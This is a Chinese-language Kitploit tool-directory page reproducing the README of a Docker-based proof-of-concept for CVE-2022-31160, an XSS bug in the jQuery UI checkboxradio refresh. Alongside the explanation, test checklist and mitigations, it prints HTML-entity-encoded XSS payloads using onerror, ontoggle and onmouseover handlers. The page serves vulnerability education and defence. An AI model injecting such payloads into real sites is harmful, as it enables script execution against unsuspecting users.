Skip to content
KitploitKITPLOIT
工具博客
Log in
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
jquery-cve-2022-31160 — jQuery XSS 概念验证(PoC) | Kitploit
工具/GitHubGitHub/cyberone-teamares/jquery-cve-2022-31160
漏洞分析漏洞利用Web应用程序漏洞利用Web安全CTF学习与教育
GitHubcyberone-teamares/jquery-cve-2022-31160

jquery-cve-2022-31160

jQuery XSS 概念验证(PoC)

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
101年前尚未审核
分享

jQuery UI CVE-2022-31160 漏洞演示

Security Badge jQuery UI CVE Docker

本项目演示 jQuery UI Checkboxradio 组件刷新漏洞(CVE-2022-31160),该漏洞会在组件刷新操作期间进行 HTML 实体解码,从而可能导致跨站脚本(XSS)攻击。

🚨 安全警告

⚠️ 本项目包含可用的 XSS 载荷,仅供教育和研究目的使用。

  • 请勿在生产系统上使用
  • 仅可在受控环境中使用
  • 仅供安全研究和教育使用

📋 目录

  • 漏洞概述
  • 快速开始
  • 项目结构
  • 演示
  • 技术细节
  • Docker 使用方法
  • 安全分析
  • 缓解措施
  • 贡献

🔍 漏洞概述

CVE-2022-31160 详细信息

  • 组件:jQuery UI Checkboxradio 组件
  • 受影响版本:jQuery UI ≤ 1.13.1
  • 漏洞类型:通过 HTML 实体解码导致的跨站脚本(XSS)
  • CVSS 评分:6.1(中危)
  • 首次发布时间:2022 年 7 月 20 日

根本原因

当 checkboxradio 组件在包裹于 label 内的 input 上初始化时,对该组件调用 .checkboxradio("refresh") 会导致 label 内容中的 HTML 实体被错误解码。这会将安全编码的恶意内容转换为可执行的 JavaScript。

攻击向量

<!-- Safe encoded content -->
<label for="checkbox">
  Text &lt;img src=x onerror=&quot;alert('XSS')&quot;&gt;
  <input type="checkbox" id="checkbox">
</label>

<!-- After .checkboxradio("refresh") -->
<label for="checkbox">
  Text 
  <input type="checkbox" id="checkbox">
</label>

🚀 快速开始

前置条件

  • 系统已安装 Docker
  • 带有开发者工具的 Web 浏览器
  • 具备 Web 安全概念的基本了解

构建与运行

# Clone or navigate to the project directory
cd jquery-cve-2022-31160

# Build the Docker image
docker build -t jquery-cve-2022-31160 .

# Run the container
docker run -p 3000:3000 jquery-cve-2022-31160

访问演示

容器运行后,请访问:

  • 简化调查演示:http://localhost:3000/survey
  • 调查备选 URL:http://localhost:3000/simplified-survey

📁 项目结构

jquery-cve-2022-31160/
├── README.md                    # This documentation
├── Dockerfile                   # Docker container configuration
├── package.json                 # Node.js dependencies
├── server.js                    # Express.js server
└── simplified-survey.html       # Survey-style demonstration

🎯 演示

1. 简化调查演示(simplified-survey.html)

URL:http://localhost:3000/survey

  • 调查风格界面
  • 多种漏洞场景
  • 增强的可视化反馈

功能特性:

  • 4 个不同的复选框选项,展示各种场景:
    • 安全选项:无编码实体(对照组)
    • 网络安全 XSS:&lt;img src=x onerror=&quot;...&quot;&gt; - 立即执行
    • 移动安全 XSS:&lt;details ontoggle=&quot;...&quot; open&gt; - 立即执行
    • 云安全 XSS:&lt;span onmouseover=&quot;...&quot;&gt; - 交互式执行

分析工具:

  • 详细的控制台日志
  • XSS 执行警报
  • 逐步漏洞跟踪

🔧 技术细节

漏洞机制

  1. 组件初始化:jQuery UI 创建 checkboxradio 组件
  2. HTML 实体存储:处理带有编码实体的 label 内容
  3. 触发刷新:调用 .checkboxradio("refresh")
  4. 实体解码:jQuery UI 错误地解码 HTML 实体
  5. XSS 执行:解码后的恶意内容变为可执行

受影响的代码路径

// Vulnerable operation
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Triggers vulnerability

测试载荷

演示包含多种载荷,用于测试不同的 XSS 执行方法:

<!-- Network Security: Error event XSS (Immediate execution) -->
&lt;img src=x onerror=&quot;console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');&quot;&gt;

<!-- Mobile Security: Details toggle XSS (Immediate execution) -->
&lt;details ontoggle=&quot;alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')&quot; open&gt;&lt;summary&gt;&lt;/summary&gt;&lt;/details&gt;

<!-- Cloud Security: Interactive XSS (User interaction required) -->
&lt;span onmouseover=&quot;alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')&quot; style=&quot;text-decoration:underline; cursor:pointer;&quot;&gt;[Hover to trigger]&lt;/span&gt;

XSS 执行方法

1. 错误事件处理程序(onerror)

  • 触发条件:元素插入 DOM 时立即触发
  • 可靠性:非常高(使用 src=x 时必然报错)
  • 适用场景:演示立即执行的 XSS
  • 现实风险:高 - 通常可绕过输入过滤器

2. details 切换事件处理程序(ontoggle)

  • 触发条件:details 元素打开/关闭状态发生变化时
  • 可靠性:非常高(使用 open 属性可保证触发)
  • 适用场景:DOM 插入时立即执行
  • 现实风险:高 - 跨浏览器执行可靠

3. 鼠标事件处理程序(onmouseover)

  • 触发条件:需要用户交互(悬停)
  • 可靠性:用户交互时较高
  • 适用场景:社会工程学场景
  • 现实风险:中 - 需要用户参与

这些载荷为何有效

事件处理程序优势:

  • 元素通过 innerHTML 插入时即可执行
  • 绕过 <script> 标签限制
  • 在不同浏览器中表现一致
  • 无需加载外部资源
  • 基于状态的触发器(如 ontoggle)高度可靠

编码绕过:

  • HTML 实体(&lt;、&quot;)会被 jQuery UI 刷新操作解码
  • 将安全编码的内容转换为可执行代码
  • 演示现实世界中的净化绕过
  • 多种执行向量展示了攻击面的多样性

🐳 Docker 使用方法

构建镜像

docker build -t jquery-cve-2022-31160 .

运行容器

# Run on default port 3000
docker run -p 3000:3000 jquery-cve-2022-31160

# Run on custom port
docker run -p 8080:3000 jquery-cve-2022-31160

# Run in background
docker run -d -p 3000:3000 jquery-cve-2022-31160

# Run with custom name
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160

容器管理

# List running containers
docker ps

# Stop the container
docker stop jquery-cve-2022-31160

# Remove the container
docker rm jquery-cve-2022-31160

# Remove the image
docker rmi jquery-cve-2022-31160

🔬 安全分析

影响评估

  • 严重性:中危(CVSS 6.1)
  • 攻击复杂度:低
  • 用户交互:需要(页面交互)
  • 影响范围:不变(同源)
  • 机密性:低影响
  • 完整性:低影响
  • 可用性:无影响

实际应用场景

以下类型的应用程序可能受到该漏洞的利用:

  1. 使用 jQuery UI checkboxradio 组件
  2. 允许在 label 中包含用户生成的内容
  3. 使用 HTML 实体编码净化内容
  4. 以编程方式刷新组件

检测方法

  • 静态分析:搜索 .checkboxradio("refresh") 调用
  • 动态分析:监控组件操作期间的 HTML 内容变化
  • 自动扫描:使用能够检测基于 DOM 的 XSS 的工具
  • 手动测试:使用编码载荷测试组件刷新

🛡️ 缓解措施

立即行动

  1. 更新 jQuery UI:升级至 1.13.2 或更高版本
  2. 输入验证:实施适当的服务端验证
  3. 内容安全策略:部署严格的 CSP 响应头
  4. 输出编码:使用符合上下文的输出编码

代码修复

// Before refresh, sanitize or validate content
function safeRefresh(element) {
    // Validate label content before refresh
    const label = $(`label[for="${element.attr('id')}"]`);
    const content = label.html();
    
    // Check for potentially dangerous content
    if (content.includes('<') || content.includes('javascript:')) {
        console.warn('Potentially dangerous content detected');
        return;
    }
    
    element.checkboxradio("refresh");
}

安全响应头

// Express.js security headers
app.use((req, res, next) => {
    res.setHeader('X-Content-Type-Options', 'nosniff');
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader('X-XSS-Protection', '1; mode=block');
    res.setHeader('Content-Security-Policy', "default-src 'self'");
    next();
});

📚 教育价值

本项目可作为以下人群的教育资源:

  • 安全研究人员:了解 DOM 操作漏洞
  • Web 开发人员:学习 jQuery UI 安全注意事项
  • 渗透测试人员:实用的 XSS 利用技术
  • 安全专业学生:动手实践漏洞分析

🔗 参考资料

  • CVE-2022-31160 官方条目
  • jQuery UI 安全公告
  • OWASP XSS 防护速查表
  • CWE-79:跨站脚本

📈 测试清单

使用此演示时:

测试前准备:

  • 验证 jQuery UI 版本(应为 1.13.0)
  • 打开开发者工具(F12)进行测试
  • 访问 http://localhost:3000/survey 下的调查页面
  • 检查控制台中的初始化消息

漏洞测试:

  • 点击"🔄 刷新组件"按钮
  • 网络安全选项:验证警报是否立即执行
  • 移动安全选项:验证警报是否立即执行
  • 云安全选项:将鼠标悬停在"[Hover to trigger]"文本上
  • 检查控制台中的详细漏洞日志

分析验证:

  • 验证 XSS 载荷执行(3 种不同类型)
  • 测试组件重置功能
  • 验证复选框的视觉反馈是否正常工作

🤝 贡献

欢迎贡献!请按照以下步骤:

  1. Fork 本仓库
  2. 创建功能分支
  3. 进行你的修改
  4. 添加相应的文档
  5. 提交拉取请求

可改进方向

  • 更多载荷示例
  • 更详细的分析工具
  • 增强的可视化演示

⚖️ 法律免责声明

本软件仅供教育和研究目的使用。作者和贡献者:

  • 不对本软件的任何滥用负责
  • 不鼓励或纵容恶意活动
  • 建议仅在授权测试环境中使用
  • 建议遵循负责任披露的做法

📄 许可证

本项目以 MIT 许可证提供,仅用于教育目的。


为安全研究与教育而创建 | 请负责任地使用 | 通过正当渠道报告漏洞

下载工具